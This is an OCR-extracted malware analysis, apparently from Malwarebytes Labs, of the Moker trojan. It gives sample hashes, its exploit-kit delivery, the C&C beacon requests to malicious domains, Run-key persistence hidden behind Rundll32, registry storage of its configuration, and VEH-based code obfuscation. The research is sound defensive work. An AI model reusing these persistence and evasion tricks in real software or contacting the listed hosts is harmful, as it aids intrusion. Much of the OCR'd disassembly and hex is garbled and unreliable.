Elusive Moker Trojan is back
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Malwarebytes Labs April 21, 2017

UPDATE: This trojan is also known under the names Yebot and Tilon. According to Dr Web,
this family is in circulation from at least 2012. It was first described under the name Moker by
Ensilo,_in 2015. //thanks to @kafeine for the tip

Some time ago we observed a rare, interesting malware dropped from the Rig-v EK. Its code
was depicting that it is written by professionals. Research has shown that it is a sample of
Moker Trojan (read more here). However, for a long time, we could not find a sample with
working CnC in order to do a deeper research. Finally, we found such a sample — this article
will be a deep dive in its capabilities.

Analyzed samples

o 76987e1882ef27faab675c4a5ce4248d — main sample — dropped by EK (April 2017)
f961bf2d0504e376b3305e9d06f66de3 — the main module — DLL (stage 2)

e £63913d6d389a6bc5f2aa4036717ac27 — main sample (dropped by EK)
4d9f5048e225e8b4dd5feb8ec489e483 — unpacked payload (stage 1)

Downloaded modules:

8997b9365c697e757f5a4717ec36fb2d — pluginj382dew1i.exe
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https://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/
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https://twitter.com/kafeine
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_moker.a
http://blog.ensilo.com/moker-a-new-apt-discovered-within-a-sensitive-network
https://www.hybrid-analysis.com/sample/af1bd82bf11e5a386abf5e1a1dc9773b66f7936f6e2e8f3ea4cc913794bf5a81?environmentId=100
https://virustotal.com/en/file/845992942501fe6fbb15df8392168d09f42e320f316c9649a914ec8b9c3b80ec/analysis/1491692602/
https://virustotal.com/en/file/164222d29856cba2d913e48ee36ef0d7b2fde943d7369437106317e4252f124c/analysis/
https://virustotal.com/en/file/2f41e714f582af5d044a3a88cd1d3f3cda0478fe1740769ca85b868490d74c77/analysis/1492036617/

faf2135dc5311b034d31191694a52bbd — KB71080030.exe

Reference samples (from 2015)

9bdd2e72708584c9fd6761252c9b0fb8 — sample #1

Distribution method

We found Moker Trojan distributed via exploit kits — in malvertising campaigns, as well as
dropped from the hacked sites. Example — Rig-v EK dropping Moker:

=
Host URL Body Caching Content-Type Process Comments

localhost 160,098 max-ag... applicationfoctet-stream [#0
linktrack.online  fwelcome 0 max-ag... textfhiml; charset=utf-8  iexplor Si
ex.food4women.com  7q=LrXWrwEDq1oDItmscOAKphMkZgk ImAmMT7QLS. .. 3,140 text/himl iexplor: ] anding K,

ex.food4women.com fog=Gzduzlpwai IDeuadvyCmI0pVI4AI7Z00DCTAd. .. 10,622 application/x-shodwav...  iexplon ] oit_Flash: RIG-w_EK_URL
ex.food4women.com fie=UTF-168q=ILL WrwEDq 1oZ0duscOAKpgs 76ay. .. 160,098 application-msdownload  iexplore: 3376 PE_Dearypted: RIG-v_EK_URL

Behavioral analysis

The malware injects itself into the svchost, and then contacts the CnC server.

= | svchost.exe:544 (netsves -y) Properties =n (ol =™
| Image I Performance I Performance Graph | Threads
TCP/IP | Security | Envionment | Job | Stings
Resolve addresses
F‘ru? Local Address Remote Address State
TCP testmachine:49... hosthy gto-projects biz http CLOSE_WAIT

Network communication

The communication is encrypted. The typical way of beaconing is to send the request to the
address: <gate_name>.php?img=<number>
An example of the sent request:

| EE 200 HTTP bitmixc.ml  fnnnn04722.phpfimg=1 213 504 no-store; Expir...  image/jpeg sychost: 1752
GET /nnnn@4722.php?img=1 HTTP/1.1

User-Agent: Mozilla
Host: bitmixc.ml
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https://virustotal.com/en/file/4f674aef65836687b29635c01457c18d0ef87c2b4218a5ed88275dfa2ef0054f/analysis/1492036461/
https://www.hybrid-analysis.com/sample/c6eef5fcccef671bbc6af65983974af14b1243edad0f73b45924aff4b19fe115?environmentId=1

GET /nnnnB4722.php?img=1 HTTP/1.1
User-Agent: Mozilla
Host: bitmixc.ml

HTTP/1.1 200 0K

Date: Mon, 03 Apr 2017 20:56:28 GMT
Server: Apache/2

X-Powered-By: PHP/5.3.28

Cache-Control: no-store

Expires: Tue, 04 Apr 2017 04:56:28 +0800
Accept-Ranges: bytes

Content-Length: 213504

Vary: Accept-Encoding,User-Agent
Content-Type: image/jpeg

k=....8...,..~"...#._.gLl..L.#.X... ¥+.oiimuuuuuua f
..M...L...@8825.M..R..5..6....C.08P....5.k....:..WC..F-V.i..... {loac oo Moo ofBoooooa D..
2..7m...A,

Ar./ . V6-2w7.H..pD..$+.cH.4.[..uU.Gv... A = 11.¥Y...... ?7.9...8TC.Fbi.d...... >QU. AL L@+,
....P-..... -~ ..VR. .. ... b..6X.c....T....E'e.D:...K..AR.(.D....A.(m...p..@.77!

o - HAA=1 .63 .0 i aa s s waaa K...ouas E ...e9.~z[./...FK7.Hw. .H.
2V..I....v/.1.)6{

1/ u..j..../yE....ubN..5..cB....C6...a.. . W..;..ey..'....+vQ..P........ i~/ K{.9
......... +0..0.F))M-. ce--..DY.|b..Bw.5..r...W.

The server responds with encrypted content (the bot saves it in a registry key). Then it injects

itself in other applications and sends further requests, including the data of the infected
machine, i.e.:

> bitmixc.ml fannn04722.php?page =TESTMACHINES11_448D38348s=100&p=2.0&er=0.0 5 application focsp-response
@31 200 HTTP  bitmixc.ml fnnnn04722. php?page =TESTMACHINES 11_448D3834&s=58970&p=2. 1&er=0.0 &  applicationfocsp-response  jusched: 1560
@32 200 HTTP  bitmixc.ml fannn04722. php?page =TESTMACHINES 11_448038348s=118p=2.0&er=0.0 159 775  applicationfocsp-response  jusched: 1560
[El 33 200 HTTP bitmixc.ml fnnn04722. php?page =TESTMACHINEG 11_44303834&s=118p=2.08er=0.0&3=10000007 &  applicationfocsp-response  jusched: 1560

GET /nnnn04722.php?page=<computername><windows_version>_<disk_id>&s=<number>p=
<number>.<number>&err=<number>.<number>
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https://blog.malwarebytes.com/wp-content/uploads/2017/04/requests_2-3.png

In the below case, the response turned out to be a PE file (an updated version of the bot)

obfuscated by XOR with a character ‘c’.

POST /nnnnB4722.php?

page=TESTMACHINE611_ 448D3B34&s=11&p=2.0&er=0.8 HTTP/1.1
Content-Type: application/ocsp-request

User-Agent: Mozilla/4.0@ (compatible; MSIE 7.0; Windows NT 6.1;
Trident/4.0; SLCC2; .NET CLR 2.8.50727; .NET CLR 3.5.308729; .NET
CLR 3.0.30729; Media Center PC 6.08; .NET4.8C; .NET4.6E)

Host: bitmixc.ml

Content-Length: 11

Connection: Keep-Alive

Cache-Control: no-cache

RO 1003*HTTP/1.1 200 OK

Date: Mon, 03 Apr 2017 20:50:57 GMT
Server: Apache/2

X-Powered-By: PHP/5.3.28

Cache-Control: no-store

Expires: Tue, 04 Apr 2017 94:50:57 +0860
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/ocsp-response

246a7

+..F...4..... B. . G.

9.c cccgcce. .CC.CCCCCCCH#CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC.coem
| .mc.j.B.b/.B7.

C',BC....MNN1GCCCCCCC. .~ vt v v v v v s nnnn Z...N....o. 1
...... cccceccccceccccccc3&cc/
bgc.,R7cccceccecc.c bhb.cc.ccc.becccece>=Qcececscec. coccoc#ccscoccaccgoccece

The server responds either by sending some encrypted content or a number:

=<number>

]
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9.,..E.c.... P | I =q
g8 ~ o aooc k.z.D..+...-<....* Boo coooc 9}.].5..<

..X21..... 5 nenc QCa.+b T

: 2oookdoacEaloacalEoo0oac HTTP/1.1 200 OK

Date: Mon, 03 Apr 2017 20:57:32 GMT
Server: Apache/2

X-Powered-By: PHP/5.3.28

Cache-Control: no-store

Expires: Tue, 04 Apr 2017 ©4:57:33 +0800
Vary: Accept-Encoding, User-Agent
Content-Length: 6

Keep-Alive: timeout=1, max=99
Connection: Keep-Alive

Content-Type: application/ocsp-response ‘

=40737 =
45 client pkt(s), 2 server pkt(s), 3 turns.

Persistence

Moker achieves its persistence by adding a Run key in the registry. This method may look
very simple at first. However, the authors of the malware hid the real executable behind a
legitimate Microsoft application — RundI32.exe. Thanks to this trick, it is much harder to
notice it — a popular tool used to examine persistent applications, Sysinternals’ autoruns,
does not show such keys by default, assuming that they are harmless. (Viewing them can be
enabled by clearing the default option “Hide Windows Entries”.)

@’Regish}r Editor
File Edit View Favorites Help

. RADAR i Type Data

: EUHO |:| REG_SZ (value not set)
[ i Rumince - REGSZ  Rundli32.exe SHELL32.DLL, ShellExec_RunDLL "Ci\Users\tester\setectdsgi0u, exe”
[l | 1 | 3

Computer\HKEY_USERS\S-1-5-21-1929933236-2258453022-3626796957-1000M Software\Microsoft\Windows\CurrentVersion\Run

The sample of Moker is dropped in the current user’s home directory:

v Local Disk (C:) » Users » tester »

Share with - Mew folder

-~

Mame Date modified Type Size
MNTUSER.DAT{6cced2fl-6e01-11de-Bbed-... 2015-056-18 22:31 BLF File 64 KB
NTUSER.DAT{6cced2fl-6e01-11de-8Bbed-... 2015-05-18 22:31 REGTRAMS-MS File 512 KB
NTUSER.DAT{6cced2f1-6e01-11de-8bed-... 2015-06-18 22:31 REGTRAMS-MS File 512 KB
ntuser.ini 2015-06-18 22:23 Configuration sett... 1 KB

| ¥ ceteetd5819u.exe 2017-04-03 22:56 Application 158 KB
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If we take a closer look at the sample, we can see that it has been slightly modified in
comparison to the original one — some encrypted information has been removed:

a E seteet35819uw.exe
DOS Header
@ posstub
4 NT Headers
ignature
iIe Header
Optienal Header
Section Headers
4 Sections
4 B tet
=p EP = 33D6
.adata
.data
JsrC

»

4 |[gg aflbd82bfl1e5a386abf5elaldcd773b66f7936f6e2e8f3eadccd... | «
DOS Header i
@ posstub
a NT Headers
Signature
File Header
Optional Header
Section Headers
4 Sections
4 B tedt
=p EP = 33D6
.adata
.data
JTErc

m
m

Relative Offsets  Next Diff

Relative Offsets  Next Diff

RAW 012 345 67 8 9 A B C DEFE | | raw 0L 2 3 45 67 8 9 ABCDEF -
269C9 269C9

26309 —Il | 26909 L
269E9 00 FF | |z69E3 00 FF 1
269F9  FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 269F9  FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00

2RANG nn an an an an an an an an an an non nn onn an an 2RANG nn an an an an an an an an an an aon an an an onn

As it turned out after the further research (see in the part “Inside”), those bytes contains the
CnC address, prefixed by a special tag. The information removed from the executable is not
lost but stored elsewhere — in one of the registry keys created for storing the malware

configuration.

Other keys created by the malware are saved under “..\CLSID\{448D3B34-8D3B-3B34-

8D3B-48D3448D3B34}:

¥ Registry Editor
File Edit View Favorites Help
* || Mame Type

[ | 28 (Defautty REG_SZ
241 REG_BINARY
410 REG_BINARY
84 REG_BINARY
45 REG_BINARY
%46 REG_BINARY
247 REG_BINARY
s c REG_BINARY
) p REG_DWORD
s | REG_SZ

Data

(value not set)

2033

4b423938333935323137333000

20 af 67 80 85 ad d2 01

d3 b5 fb 72 e6 fd 11 1f 6d 025997 76 f2 5 57 €3 d7 3664 Te 24 8f 80 3e0b 5a Tc f8 a0 8d f5 47 02 €1 7999

4d 539000 03 00 00 00 04 00 00 00 ff £f 00 00 b& 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 0...
Gb3d 87 d9 dl 940 fa b6 dd 2c b6 bb 72 27 8b fd 723 ac 5f c2 67 49 b1 88 4c 8223 f3 58 a9 <1 bb 2079 2b...
01 0000 00 0a 0000 006801 000000 00 0000 00 0000 00 00 0000 00 00 00 00 0000 00 00 0000 00 0000 00 ...
0x78eabB1f (2028648479)

ChUsershtester\AppData\Roaming\Microsoft\Windows\5tart Menu\Programs'\Startup

Computer\HKEY_USERS\S-1-5-21-1929933236-2258453022-3626796357-1000% Software!\ Classes\, CLSID\{448D3B34-8D3B-3B34-8D3B-48D3448D3634 }

The full dump of the registry entries is available here.

As it turned out, the encrypted CnC address, that was removed from the executable, is
persisted in the registry, inside the key “5™:
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https://gist.githubusercontent.com/hasherezade/40157ab29c6b1001855a0589b1d5369a/raw/5987889557e092a8c35653881e2a78d940102d24/moker.reg

Edit Binary Yalue E

Walue name:
5

Walue data:

0000 D3 B> FB 72 Ee& FD 11 1F Oplrey. .
0008 el 02 5% 87 Te F2 5SF 57 m.Y.va W
0010 E3Z DT 36 64 TE 24 8F &80 d=6d~%..
0018 3E OB 5A TC F8 A0 8D FS *. 2|z .4
0020 47 02 E1 T3 885 G.avy.

Compare with the data from inside the original sample:

& 16cab3f46afI0b452a368e238029223a04 cBeT344cd1 3ddddealdbeh?Iadalel exe

Offgec(h) 00 01 02 03 04 05 06 07 08 0% Q& OB OC OD QE OF

00019130 OO0 00 00 OO 00 OO 00 00 00 T7F FF FF FF 80 00 00 .......... TTTEL.
00019140 OO0 00 OO0 OO OO0 OO 00 OO0 Q01 3D FF 24 8B 92 C1 D6 ......... =S¢ TAD
00019150 25 ; tePuiréey. .m. Y—vil

00019160
00019170

Waix6d~SEE>.Z| ¥

AG.av™. " ...

Another key, “6”, stores a PE file (the executable dumped from the registry is available here:
91f754c3fc475aed93e80575bb503c73).

Edit Binary Yalue E
Walue name:

[

Walue data:

0000 4D 5A 90 OO0 03 00 00 00 MZ...... -
o008 04 00 00 OO0 FF FF 00 0O A A D

0010 BEg 00 OO0 OO0 OO OO 00 00
0018 40 00 OO0 00 00 00 00 OO0 @.......
0020 g0 00 00 00 00 OO0 00 00 ... .....
0028 g0 00 00 00 00 OO0 00 00 ... .....
0030 g0 00 00 00 00 OO0 00 00 ... .....

0038 g0 00 OO0 00 BO 00 OO0 OO e
0040 OE 1F BA OE 00 B4 09 CD R |
0048 21 Bg 01 4C CD 21 54 &8 1,.Li'Th

0050 63 T3 20 TO0 T2 e&F &7 T2 is progr

The key “7” stores the data that was downloaded from the CnC after the initial beacon:
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https://virustotal.com/en/file/aec046984fd89902559db13fe1e2fab4c5a4c969eed6b6e59d617d109eed3ec9/analysis/1491351756/

Edit Binary Walue

Value name:

7

alue data:

oooo 6B 3D 87 DS D1 SE 40 FA k=.UN.@d =
Do08 B6 DD 2C B6 BB 7E 27 8B IY,%I»~'. [ ]
0010 FD 7F 23 AC S5F C2 &7 49 vyl #- AgI
DoL1E Bl B8 4C B8E 23 F3 58 L9 .L.#aX®@
oozo C1 BE 20 79 2B AT 9F 81 As v+8..
oozs DC 2D 8D 1D 18 D3 CoO Fe& U-...0A4s
0030 BED 2R 9 DE OR D3 C2 4E %+ .Pb.0AN
o038 Ch 91 FT7 4C Fo C9 D2 40 E.=LuEOER
D040 38 TA 73 FEBE 4D E4 DC 52 gz=aMaldR
D048 o4 BT 53 AR L3 47 CE ES8 . -5=£ais
0050 g 1B T4 FO 71 40 50 99 'L.tdglP. T

J [ Cancel

Compare with the content of the server response:
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GET /nnnn04722 php%mo=1 HTTP/1.1
Client

User-Agent: Mozilla
Transport

Host: bitmixc. mi

Transformer Headers TextView HexView

XML

Get SyntaxView
J150M

ImageView

Raw

WebView

Auth Caching Cookies

48 54 54 50 ZF 31 ZE 31 20 3% 30 20 4B 0D O&R
3L 20 4D €F 6E 2C 20 30 33 20 41 T2 32 30 31
35 3€ 3h 32 3B 20 47 4D 54 0D 53 T2 Te &5
&€l €3 €8 &5 ZF 32 0D OL 58 2D 50 &F &5 T2 &5
3L 20 50 48 50 2ZF 35 2E 33 ZE 32 38 0D 43 €l &3
eF €E 74 72 6F &C 3A 20 €E €F 2D 73 74 €F 72 €5 0D
€9 T2 &5 T3 3A 20 54 TS5 €5 2C 20 30 34 Z0 41 TO T2
37 20 30 34 3A 35 3¢& 3A 32 38 20 ZB 30 38 30 30 0D
€5 TO 74 2D 52 €1 €E &7 €5 73 3nh 20 €2 79 74 €5 T3
€E T4 &5 €E T4 2D 4C &5 €E &7 T4 &8 3A Z0 32 31 33
DR S& €1 72 T3 3R Z0 41 €3 &3 €5 70 74 ZD 45 €E &3
&7 2C 55 T3 65 T2 ZDr 41 €7 &5 €E 74 0D 0OA 43 €F &E
20 54 TS 85 3h 20 &% €D €1 &7 &5 ZF T0 &5 &7
3D Dl 40 6 DD Z2C Ee B ]
C 7 ga BE 58 Af 1
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The key “10” contains the name of the downloaded modu

Edit Binary Value

Value name:
10

Value data:

=1

S U
1

Fr] ] [ SRS I i I S T S T SN
R .

o [ % R S % I VL

N I Y

[t I s I s B

[
2
2
&
4
4

I U R B R = O

R = = = I =L ]
[ R T R O T R I 1

L I o WY S LR L e T e e S e T O Y SN

(e = VTR e

& 2

=1
[ = Y R |

@EzsﬁHéUR.
QP _T._@sék.
F~V_ip_
¥4 _AcE_ &

5=£aIe. td
LR .wCI™
ONBGh T _~J

e
-aur

B“ge@+=u ...P—.
o-vRARE _E._ "bi

7. HwegAHUZV. 10
V&{_1/Iup? j.¢i
BuanEa icB_ .4
-EW. lr. eyeé. !
=P Ve ¢Ep Sié

[] I'lI

ﬁx..+

L l'..'l?Cl?Hh"-

~EE e&a:K{ SHE. EHEE
L& _+0%¥»o_F)IM-_ _ET¥
ATV 1k w cifre fw

le:

(]

opoo 70
0008
oo1o |

eC Th

64

67
65 T7T

6E
31

ed 33

&9 00 g2dewli.

The new module is stored in ProgramData:

plugini3
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v Local Disk (C:) » ProgramData

Mew folder
Mame Date modified Type Size
. Package Cache 2016-08-11 01:33 File folder
. regid1991-06.com.microsoft 2015-06-18 22:41 File folder
o Start Menu 2009-07-14 06:53 File folder
o Templates 2009-07-14 06253 File folder
|E pluginj382dewli.exe 2017-04-05 12:06 Application 157 KB|

Its persistence is added also with the help of a Run key (in a similar way as the previously

described case):

ﬁ Registry Editor
File Edit View Favorites Help

L

> [| Name Type
L4 ab)| (Default) REG_SZ

=1 pluginj382dewldi REG_SZ

Data

(walue not set)
Rundll32.exe SHELL32.DLL, ShellExec_RunDLL "C:\ProgramDatatpluginj382dewli.exe"

Computer\HKEY_LOCAL MACHINE\SOFTWARE\MicrosoftyWindows\ CurrentVersion'Run

Inside

Moker consists of two main modules. The Stage 1, that is a downloader, and the Stage 2,
that is a DLL containing the core malicious features. The downloader injects itself, along with
the unpacked shellcode, into the svchost.exe. The screenshot below shows an example of
the infected memory pages inside the svchost.exe:
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Contains Type|Access | Initial|l Mapped as

Addiess | Size Cin =1 Sect ion

The injected shellcode is responsible for sending the initial beacon to the CnC. Then, if the
CnC is active, the main DLL is downloaded and injected into the other processes. During the
tests, all 32-bit applications running in the Medium integrity mode have been infected by the
Moker DLL.

Stage 1

Let’s dive in the code, starting from the dropper — that is the Stage 1. This is the binary used
for initiating the full infection process — originally delivered by exploit kits. Every sample
comes packed by some crypter (crypters are different for various samples so we will not
describe this layer here).

After defeating a stub of a crypter, we get another PE file — with a layout typical for Moker.
The section .text, that — in normal cases is the first section of PE, in case of Moker comes as
second:
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4 E moker_payload.exe
D05 Header
@ Dosstub
4 MT Headers
Signature
File Header
Optional Header
Section Headers
4 Sections
.data
4 dead
=p EP = 4DBE
-ﬁ Jddata

Section .data is very small in the raw file, but it is expanding in the virtual image. So, we can
suspect that something more is unpacked there:

MName Raw Addr. Rawsize Virtual Addr. Virtual 5ize Characteristics Ptrto Reloc.  Mum. of Reloc.  Num. of Linenum.
4 data 200 1200 1000 CE780 C0000040 0 0 0
H 1400 a CCT80 - -
4 tewt 1400 8600 CD00 8408 60000020 0 i i
H 9400 a 05408 A X
4 jdata 9400 600 06000 440 CO000040 0 i i
H A000 - De4a0 » rw-
Raw & X Virtual 5 X
A
e —e——————————————————— |.data]
1400
texdt
44000
[.data]
40EE a
('3
o
o
3
2
| SA00 EEEE
B [idata] gﬁnoo frexd]
E Tdata)

T T S

Obfuscated execution flow

The internal structure of this module is very interesting. It has self-modifying code with
execution based on VEH (Vectored Exception Handers). Execution starts from installing the
handler:

-text:884CERAD

-text:BB4CEABD public start
~text:B84CEABD start:

-text:004CEADA lea ebx, start
-text:BB4CEAABG call add_wveh
.text:B884CEABR in al, dx
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Instructions IN are used in various places in the code. Their role is to disrupt the continuity of
the execution by triggering an exception. Then, execution is redirected to the previously
installed handler. Depending on the variant of the instruction that triggered the exception, the
context is changed in one of the few ways:

source addr = ExceptionInfo-*ExceptionRecord->Exceptionfddress;
if { =source addr == BxE4u ) ff BxE4 = IH AL ,<BYTE>
{
vi->Eax = dword 4@1598[=( BYTE =){vi->Eip + 1}];
ul->Esp —= &;
*{ DWORD =)ui->Esp = vi->Eip + 2;
ul->Eip = (DWORD)jmp_eax;
return -1;
o
if { =source addr == BxEDu )} ff B=ED

{

IN Efx, D&

uvid { WORD =)}{uvi->Eip + 1);

vl vi->Eip + 3;

ul->Esp —= &;

*#{ DUWORD =)ui->Esp = ull;

ui->Eip = (DWORD)sub_4CDBBB + =ui0;
return -1;

i
if { #=source addr == BxECu } /7 B=EC

{

IH AL, DX

pos = { WORD =)}{uvi->Eip + 1});

ul->Esp —= 8;

uy (int)(pos + 1});

ui ul->Esp;

ug ®005;

=( DUWORD =)uB = u7;

vi-*Eip = (DWORD)dword HCF114;

®{ DWORD +=)}{vd + 4} = (char =)sub 4CDOBA + uvD;
return -1;

’

if { =source addr t= BxF8u ) ff BxF8& = CLC
{
3 = 8;
For { i = Bunk_A4C77BB; =i; i = ( DUDRD =)=i )
ul = i;
if { w3 )
{
ul->Ebp = v3[2];
ul->Eax = vwi[1]:
ul->Esp = vi[3]:
ul->Eip = vi[4];
1

S

LN
Context patching is used to obfuscate the execution flow. Thanks to this trick, static analysis

of the code is almost impossible — all changes on the fly.

The JMP EAX (first case in the exception handler) is used to deploy API calls. It is triggered
by IN AL, <BYTE> (see the example below):
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[ELTE LYLTNN

a0 148821
A6 148833
A6 148835
A6 148827
A6 148639
A6 14E86:3F
aE 1468638
BE 148635
a6 148837
A6 148830
BBI4BBH3

BBI4BEH?
BE1488A3
a6 1488AF
BE 1486888
a6 1488E6
A6 148887
A6 148862
A6 1488ER
A6 14868BC
A6 14868BE
a6 14868BF
A6 148805
ag148acy
A6 1488CE
ag 148808
A6 148806
A6 148802
a6 1486802

[y T R TR |

&R @48

EEQE F2FEFFFF
2095 FCFEFFFF
g2

FFES F4FEFFFF
FFBS FBFEFFFF
E4 59

2LCa
7L 1C
EEQE C4EYFFFF
EDBE FCFEFFFF

=]

FF15 FCEa4Da6
EE A2

SZEBED FOFEFFFF
74 @3
FFES_FBFEFFFF
E4 &7

[

[ 8]

B I R et e R R ) p i L T

FUSH &x@

FUSH &x@

FUSH &x@

FUSH &x@E

LER EDOX,OWORD PTR 55:[EBP-8: 18321
FUSH EDX

%Eg EDH OWORD PTR S5: [EEF-8x 1841
FLSH I:lll.II:IHD FTE S5:L[EEBFP-8:18C]
FUSH OWORD PTR 55:[CEEBP-Ax11@1]

I AL, @59 call ARPI
TEST ERX,ERX

JHZ SHORT @A14BACE

LER EDOX, OWORD PTE DS5: [ERR-Ex183C1]
FUSH EDX

LEA ED, OWORD FTRE S5: [EEF-8:184]
FUSH EDX

IH ERH. O I-0 command
AOD EYTE FTR DOS: [ERX], AL
TEST ERX,ERX

JE SHORT B814868CE

FUSH ERX

CALL OWorRD PTR D5:[<%KERMELZZ.E4 itProcessi] kernel32.Ex itProcess
JMF SHORT @@l4885F

CHF DWORD FTR S5: [EEF-Ex1181, 958
JE SHORT B&14@a6a08

FUSH OWORD PTR 55:CEEBP-Ax11@1]

IM AL, x5 I-0 command
LERLIE
RETH

That’s why, if we trace the API calls made by the application, we can notice that most of them
are made from the same address in the code — only the target address is changing.

BE4D2EES
Ba402BEC
BE4D2ZEBC2
BE4D2ZBCS
Ba402BCC
BE4D2ZECE
Ba402e0:2
GE402E02

BE4D2EBER
BE4D2EBES
Ba402EER
BE4DZEBED
Ba402BEE
BE4D2EBF2
Ba402BF4
BE4D2ZEFA

S05E @2

22AE C4B8BEEEE @4 | SUB DWORD PTR DS:[ESI+EMC4], Gud

SESE C4BBB080
BFEVEE

3211

BE BE0Da4CEE
2935 BIHRBEAR
ES S&EFFFFFF
FFE&

BE9E EBEEREES
A 4B88E17E
BBaa

Fi

Ca4z2 Ba 74

28cz
BE3E CACABAG4
48

LERA EDX,DWORD FTR DS: CEAR+ERZ]

MOL ECK, DWORD PTR DS: CESI+8nC4]
MOVEY ERX,WORD PTR DS: [EAX]

MOV DWORD PTR DS: CECK,EDX

ADD ERX, mok . BE4COBEE

MO OWORD PTR DS: [ESI+BuES], ERX kernel32.GetFileSize
JHMP mok .. 88402E34
JHP ERE kernel32.GetFileSize

ROD BYTE PTR D5: [EAX+BExES@AEEEER], DL
MOY AL,BYTE FPTR DS: [Bx7EE18E4E]
ROD EYTE FTR DS:[EAX]. AL

IMT1

EHE BVTELPTR O5: [EDXT, B: 74 Shift constant out of range 1..31
AOO BVTE FTR 55: [EEF+8:406CHE6]1, OL

IMC E| kernel3z. GetFileSize

Not only the execution flow but also the code itself is dynamically modified. We can find the
application calling very often VirtualAlloc:

aa4D5620
aa40562F
BE405E28
AE405631
BE405632
BE4056:32
AE405E3E

BB4D5644
AE405E4E
AE40564E

S A A

PUSH EBF
Moy EEF, ESF
FUSH ED:=
FLUSH ECx
PUSH Bndi

PUSH Bx2EER
PUSH [ARG.11

ntdll.KiFastSustemCal LRet

Frotect = PAGE_EXECUTE_RERDWRITE

Al lozat ionType = MEM_COMMIT !MEM_RESERLE
Size = 87 (13E5.]

Address = MULL

A
EHLLED£DRD FTR DOS:[<&KERMELZZ2.VirtualAllock] VirtualAlloc

ntdll.KiFastSustemCal LRet

Some pieces of the encrypted code are copied from the main executable into this
dynamically allocated memory:
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BEACOETE
BE4COSTT
AA4C0STS
BE4COS7A
BE4COETC
BE4COSTE
BE4CDSEE
BEACDSEE
BE4CDEE

BE4C0ZE9
BE4C0SEA
BE4COSEE
BE4COSEC
BE4COSE0
BE4COSEE

|

. B9FF

ooord 18

. FC

. 3%FE

e

. 20748E FF
207CEF FF

F3: A4

CHMP EDI,ESI

EEDSHDRT rmoker_ba.884C0ss2

CHP ESI.EDI

JME SHORT moker_ba. 884C0O887

LEA ESI,OWORD PTR DS:[CESI+ECK-@u1]
%EE EDI,DWORD PTR DO5:[EDI+ECHE-@:11]
EEE MOUs BYTE PTR ES:[EDI].EBYTE PTR DS:[ESI]
FOFP EDI

FOP ESI

FOF ECH

LERUE

RETH G

EDI=BA138816
ESI=884CEY25S (moker_ba.BB4CEF2E]

Address

ASCII

BE4CEY 1S
HE4CETYZE
HEA4CEY3E
HE4CET4E
BEA4CEVES
HE4CEVES
BA4CEFTE
HER4CEFES
BE4CETIE

Then, they are decrypted by a dedicated function:

BE BA C2 32 EZ 22 18 BC 45 ZB|RSS.HME. || F2Rak.Ed
C3 32 C1l 82 FF FF FB E& 52 IC|G+FRGar2+ta #RREC
FF 5B B4 C2 51 52 IC CA 83 51|22 A.C3 [4T0RL 30
FF FB @4 59 14 71 89 18 73 29 RS&Y
20 18 8F 5C &A@ BC 41 SF 82 41| ié+2 g2t el
BF B4 5V 52 29 FF FF FF FB EZ|—-aRSGA%+lRE iR
E& 57 D& FF 8B 57 58 1C EE 83| dEU# ARWI SlE ts
4F 8B YE 8B ¥¥ 2B 18 &F 2B 18 4_.WiH0&" dwdtodk
C3 50 FF 15 AC £2 4D 00 €A g2 TAG_ P 30bM,J8

Y T0E by &

aa404A0E
BE404A02
Ba404A0E
BE404A0C
Ba404A0F
AE404AES
HE404HES
Ba404RES
BE404AED
Ba404REF
BE404AF2
BE404AF 4
BE404AF 7
2a404AF2
aa404AFC
aa404AFF
BE404B81
aa404Ba4
BE404BELS
Ba404BE2
BE404BEE
aa404EB80
aa404EB8F
aad404EB12
BE404EB15
BE404B16
BE404B12
Ba404B1E
Ba404B10
B84D4E1F
aa404E21
Ba404E25
BEd404E2E
Ba404B20
BE404B2E
BE404B2C

ARANARZFE
1

s 55 FUSH _EEF
. B2ER MOU EEF, ESF
=15 PUSHAD
. BBFS Bo MOU EST, [ARG. 17
» BIF0D BC B2 |rCHMP [ARG.21,6:2
oo Te 45 JE SHORT moker_ba.88404B2A
. SB4E B4 FMOW ECH,DWORD PTR DS:[ESI+8:4]
. BF @vasssna || MOY EDI, B:7
. BEle MOU EDE, OWORD PTR DS:[CESI]
¥ 8B4t 1@ Oy ER:, CARG. 2]
BiFs ADOD EAX,EDI
22F2 av CHP ERK, G:7
v TE A2 JBE SHORT moker_ba.@8404AFC
. SZES Bs SUE EAK, G912
» BAFA =28 CHF DL, 8x28
»eoTe BE JE SHORT moker_ba.88404B6F
SBFR VA CHF DL, 8:7H
e Fr_ B9 JA SHORT moker_ba. 88404BAF
FECH OEC OL
S@FA 1F CHP DL, G=1F
v TEoE2 JHE SHORT moker_ba.@8404B0F
. B2 VR MO DL, B 7 H
¥ 831486 Moy BYTE PTR D5:[ESI+ERR],OL
C1ER 83 SHR EDK, 813
F OEC EDI
e T2 @9 JS SHORT moker_ba. 88404821
22FF a3 CHMP EDI,Hx2
~ & D2 JHE SHORT moker_ba.@8404AEF
29CA MU EDX, ECH
.~ EE CE L JMP SHORT moker_ba.884D4REF
» 8360 BC B3 SUE [[ARG.21, 9:5
. B3C6 A5 HDDO ESI,Hx2
~ EB EE LJMP SHORT moker_ba. Ba404A0F
o6l POPAD
co LERLE
L C2 aCcaa RETH @:C
=1 MNP

DS: (881288684 1=EREBER4D
ECx=a888a8Ea1

Address

Hexn dump

ASCII

BE 128868
gaizaala
A6 138828
BE 138838
BE 128848
BE 1286858
BE 128858
BE12067E
BE 12686238

e s e i)

The revealed code is almost ready — except for the addresses of calls, that needs to be filled.
You can see in the following fragment, that temporarily the CALL points to its own address:

BE BA C9 22 EE 22 18 AC 45 SB[ RSS.ME. || F2RaF.Ed
C2 22 Cl 83 FF FF FE ES 52 1C|2+RFRGar2t3 GREL
FF 5B B84 C2 51 52 IC CA 83 S1[(E 3.C3 [#TERL 3R
FF FE 84 59 14 71 39 18 72 89 R3EY
20 12 8F SC 6@ BC 41 SF B2 41 ié+2 a2t _a=f
BF B4 57 52 29 FF FF FF FB EZ[-2R35R%«IRE  uR
